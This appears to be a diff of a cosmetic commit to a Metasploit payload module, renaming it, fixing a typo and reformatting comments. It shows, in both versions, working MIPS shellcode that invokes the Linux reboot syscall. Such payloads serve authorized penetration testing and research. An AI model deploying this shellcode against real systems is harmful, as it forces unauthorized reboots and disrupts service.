@@ -12,10 +12,10 @@ module Metasploit3
12
12
13
13
def initialize ( info = { } )
14
14
super ( merge_info ( info ,
15
- 'Name' => 'Linux reboot payload ' ,
15
+ 'Name' => 'Linux Reboot ' ,
16
16
'Description' => %q{
17
- A very small shellcode for rebooting the system.
18
- This payload is sometimes helpfull for testing purposes.
17
+ A very small shellcode for rebooting the system.
18
+ This payload is sometimes helpful for testing purposes.
19
19
} ,
20
20
'Author' =>
21
21
[
@@ -35,16 +35,15 @@ def initialize(info = {})
35
35
end
36
36
37
37
def generate
38
-
39
38
shellcode =
40
- "\x21 \x43 \x06 \x3c " + #lui a2,0x4321
41
- "\xdc \xfe \xc6 \x34 " + #ori a2,a2,0xfedc
42
- "\x12 \x28 \x05 \x3c " + #lui a1,0x2812
43
- "\x69 \x19 \xa5 \x34 " + #ori a1,a1,0x1969
44
- "\xe1 \xfe \x04 \x3c " + #lui a0,0xfee1
45
- "\xad \xde \x84 \x34 " + #ori a0,a0,0xdead
46
- "\xf8 \x0f \x02 \x24 " + #li v0,4088
47
- "\x0c \x01 \x01 \x01 " #syscall 0x40404
39
+ "\x21 \x43 \x06 \x3c " + # lui a2,0x4321
40
+ "\xdc \xfe \xc6 \x34 " + # ori a2,a2,0xfedc
41
+ "\x12 \x28 \x05 \x3c " + # lui a1,0x2812
42
+ "\x69 \x19 \xa5 \x34 " + # ori a1,a1,0x1969
43
+ "\xe1 \xfe \x04 \x3c " + # lui a0,0xfee1
44
+ "\xad \xde \x84 \x34 " + # ori a0,a0,0xdead
45
+ "\xf8 \x0f \x02 \x24 " + # li v0,4088
46
+ "\x0c \x01 \x01 \x01 " # syscall 0x40404
48
47
49
48
return super + shellcode
50
49
end
0 commit comments